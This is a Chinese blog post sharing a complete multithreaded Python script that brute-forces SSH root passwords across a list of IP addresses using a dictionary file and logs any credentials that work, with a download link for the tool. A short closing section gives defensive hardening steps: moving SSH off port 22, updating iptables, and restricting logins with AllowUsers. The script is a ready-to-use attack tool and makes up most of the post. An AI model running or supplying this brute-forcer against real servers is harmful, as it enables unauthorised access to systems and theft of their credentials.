python多线程ssh爆破

Python


0x01.About

爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入。

主要使用到的是python的paramiko模块和多线程threading模块。

那么,首先要准备的是字典dict、服务器ip表。

东西很简单,主要默认目录如下:

|--ssh.scan.py
|--/log:
sshd
|--/dict:
ip
password

ip和password按照一行一个放置。


0x02.Code

下面上源码吧,文件保存为ssh.scan.py,查看使用方式:python ssh.scan.py -h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/python python
# -*- coding: utf-8 -*-
import paramiko,threading,sys,time,os class SSHThread(threading.Thread):
def __init__(self, ip, port, timeout, dic, LogFile):
threading.Thread.__init__(self)
self.ip = ip
self.port = port
self.dict = dic
self.timeout = timeout
self.LogFile = LogFile
def run(self):
print("Start try ssh => %s" % self.ip)
username = "root"
try:
password = open(self.dict).read().split('\n')
except:
print("Open dict file `%s` error" % self.dict)
exit(1)
for pwd in password:
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout)
print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd))
open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd))
break
except:
print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
pass
def ViolenceSSH(ip, port, timeout, dic, LogFile):
ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
ssh_scan.start() def main(ipFile, dic, log):
if ipFile == "-h":
help()
try:
ipText = open(ipFile).read().split('\n')
for ip in ipText:
if ip != '':
time.sleep(0.5)
threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start()
except:
print("Open IP list file `%s` error" % ipFile)
exit(1)
def help():
print("python ssh.scan.py 使用说明:\n\
python ssh.scan.py ip_file_path dict_file_path ssh_log_path \n")
exit(1) if __name__ == '__main__': fpath = os.path.dirname(os.path.abspath('__file__'))
ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip"
dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password"
log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd"
try:
os.system("clear")
main(ipFile, dic, log)
except KeyboardInterrupt:
exit(1)

结果比较丑,自己爆自己服务器:

爆破结果


0x03.Solution

怎么办呢?防止被人爆菊,那就修改ssh默认登陆端口吧。修改方式主要是修改ssh配置文件:

1.修改iptables

首先要过防火墙,修改防火墙规则:

/sbin/iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 2333 -j ACCEPT

保存规则:

service iptables save

重启防火墙:

service iptables restart

2.修改ssh配置文件

cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak

修改ssh端口:

vim /etc/ssh/sshd_config

在端口#Port 22下面增加Port 2333

vim /etc/ssh/ssh_config

在端口#Port 22下面增加Port 2333

重启ssh服务:

service sshd restart

3.其他修改

限制用户的SSH访问

假设我们只要xiaocao和homeway用户能通过SSH使用系统,向sshd_config配置文件中添加

vim /etc/ssh/sshd_config

修改下面一行:

AllowUsers xiaocao homeway

代码下载地址:http://homeway.me/code/python-violence-ssh.zip


from:小草

python多线程ssh爆破的更多相关文章

  1. python多线程扫描爆破网站服务器思路【笔记】

    这个扫描是概率问题,是需要字典的,以下代码是作为参考,字典可以去网上下载,我就不提供,我提供的是思路! #!/usr/bin/env python # coding=utf-8   from IPy ...

  2. Python SSH爆破以及Python3线程池控制线程数

    源自一个朋友的要求,他的要求是只爆破一个ip,结果出来后就停止,如果是爆破多个,完全没必要停止,等他跑完就好 #!usr/bin/env python #!coding=utf-8 __author_ ...

  3. ssh爆破脚本

    前些天,基友发我一个ssh爆破工具,看起来很吊的样子.然后我就无聊自己写了个py脚本的. 单线程:慢成狗----- #coding:utf-8 #author:jwong import threadi ...

  4. python通过SSH登陆linux并操作

    使用python通过SSH登陆linux并操作 用的昨天刚接触到的库,在windows下通过paramiko来登录linux系统并执行了几个命令,基本算是初试成功,后面会接着学习的. 代码: > ...

  5. python下ssh的简单实现

    python下的ssh都需要借助第三方模块paramiko来实现,在使用前需要手动安装. 一.python实现ssh (1) linux下的ssh登录 root@ubuntu:~# ssh morra ...

  6. python多线程学习记录

    1.多线程的创建 import threading t = t.theading.Thread(target, args--) t.SetDeamon(True)//设置为守护进程 t.start() ...

  7. python多线程编程

    Python多线程编程中常用方法: 1.join()方法:如果一个线程或者在函数执行的过程中调用另一个线程,并且希望待其完成操作后才能执行,那么在调用线程的时就可以使用被调线程的join方法join( ...

  8. Python 多线程教程:并发与并行

    转载于: https://my.oschina.net/leejun2005/blog/398826 在批评Python的讨论中,常常说起Python多线程是多么的难用.还有人对 global int ...

  9. python多线程

    python多线程有两种用法,一种是在函数中使用,一种是放在类中使用 1.在函数中使用 定义空的线程列表 threads=[] 创建线程 t=threading.Thread(target=函数名,a ...

随机推荐

  1. 安卓开发笔记——Fragment+ViewPager组件(高仿微信界面)

    什么是ViewPager? 关于ViewPager的介绍和使用,在之前我写过一篇相关的文章<安卓开发复习笔记——ViewPager组件(仿微信引导界面)>,不清楚的朋友可以看看,这里就不再 ...

  2. React Native Android增加本地图片

    将图片文件 UePbdph.png 放入与index.android.js的同目录中,在index.android.js中引入: <Image source={require('./UePbdp ...

  3. Netty5 + HTTPS 练习

    本次以<Netty权威指南>第十章里面的例子为基础修改而来 HttpsFileServerHandler.java package com.jieli.nettytest.httpsfil ...

  4. 发布大幅重构优化的 TouchVG 1.0.2

    发布大幅重构优化的 TouchVG 1.0.2,支持SVG.多模块扩展结构,欢迎评阅改进.提交pull request. https://github.com/rhcad/touchvg 关于 Tou ...

  5. Eclipse为Unity3d编写jar组件

    Unity3d和Android的交互有两种方式: (1)使用Eclipse为Unity3d编写库,也就是jar包,然后导入到U3D中使用: (2)将Unity3d项目导出为Android项目,然后直接 ...

  6. iOS-动画效果(首尾式动画,代码快动画,核心动画,序列帧动画)

    一.各个动画的优缺点 1.首尾动画:如果只是修改空间的属性,使用首尾动画比较方便,如果在动画结束后做后续处理,就不是那么方面了. 2.核心动画:有点在于对后续的处理方便. 3.块动画: (1)在实际的 ...

  7. ASP.NET MVC 快速开发框架之 SqlSugar+SyntacticSugar+JQWidgetsSugar+jqwidgets

    jqwidgets.js: 是一个功能完整的框架,它具有专业的可触摸的jQuery插件.主题.输入验证.拖放插件.数据适配器,内置WAI-ARIA(无障碍网页应用)可访问性.国际化和MVVM模式支持. ...

  8. Genymotion模拟器环境搭建中的各种坑,终极解决办法

    最近刚进入了一家公司,因为要做自动化测试,web端的业务需要移动端来进行配合,想了想还是利用genymotion模拟器吧:很久前装过,那也是一路坎坷啊,结果这次还是遇到坑了,搞了老半天:我希望我踩过的 ...

  9. 重构第31天 使用多态替代条件语句( Replace conditional with Polymorphism)

    理解:本文中的”使用多态代替条件判断”是指如果你需要检查对象的类型或者根据类型执行一些操作时,一种很好的办法就是将算法封装到类中,并利用多态性进行抽象调用. 详解:本文展示了面向对象编程的基础之一“多 ...

  10. 可拖拽的ListBox

    之前在写播放器的时候,遇到了一个问题,现在播放器无论是千千,KuGoo还是比较原始的MediaPlayer,它们的播放表都是可以拖拽的,直接把文件拖到播放表实现歌曲的添加那个先暂且不说,光是播放表里面 ...